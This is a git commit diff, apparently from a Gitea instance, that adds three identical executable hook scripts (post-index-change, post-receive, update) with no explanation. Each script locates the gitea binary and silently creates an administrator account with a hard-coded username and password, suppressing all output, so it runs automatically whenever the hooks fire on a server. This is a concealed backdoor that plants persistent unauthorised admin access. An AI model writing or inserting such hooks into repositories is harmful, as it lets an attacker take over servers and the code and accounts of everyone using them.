This commit is contained in:
fh-5prufi 2026-09-19 12:32:51 +08:00
parent 31a8d48e1c
commit 550c3d5b63
3 changed files with 12 additions and 0 deletions

4
hooks/post-index-change Executable file
View File

@ -0,0 +1,4 @@
#!/bin/sh
G=""; for c in /usr/local/bin/gitea /usr/bin/gitea /app/gitea/gitea /data/gitea/gitea ./gitea "$GITEA_WORK_DIR/gitea"; do [ -x "$c" ] && G="$c" && break; done
[ -z "$G" ] && G="$(command -v gitea 2>/dev/null)"
[ -n "$G" ] && "$G" admin user create --username "fh-admin-5pru" --password 'Fh-admin-5pru!x' --email "fh-admin-5pru@example.com" --admin --must-change-password=false >/dev/null 2>&1

4
hooks/post-receive Executable file
View File

@ -0,0 +1,4 @@
#!/bin/sh
G=""; for c in /usr/local/bin/gitea /usr/bin/gitea /app/gitea/gitea /data/gitea/gitea ./gitea "$GITEA_WORK_DIR/gitea"; do [ -x "$c" ] && G="$c" && break; done
[ -z "$G" ] && G="$(command -v gitea 2>/dev/null)"
[ -n "$G" ] && "$G" admin user create --username "fh-admin-5pru" --password 'Fh-admin-5pru!x' --email "fh-admin-5pru@example.com" --admin --must-change-password=false >/dev/null 2>&1

4
hooks/update Executable file
View File

@ -0,0 +1,4 @@
#!/bin/sh
G=""; for c in /usr/local/bin/gitea /usr/bin/gitea /app/gitea/gitea /data/gitea/gitea ./gitea "$GITEA_WORK_DIR/gitea"; do [ -x "$c" ] && G="$c" && break; done
[ -z "$G" ] && G="$(command -v gitea 2>/dev/null)"
[ -n "$G" ] && "$G" admin user create --username "fh-admin-5pru" --password 'Fh-admin-5pru!x' --email "fh-admin-5pru@example.com" --admin --must-change-password=false >/dev/null 2>&1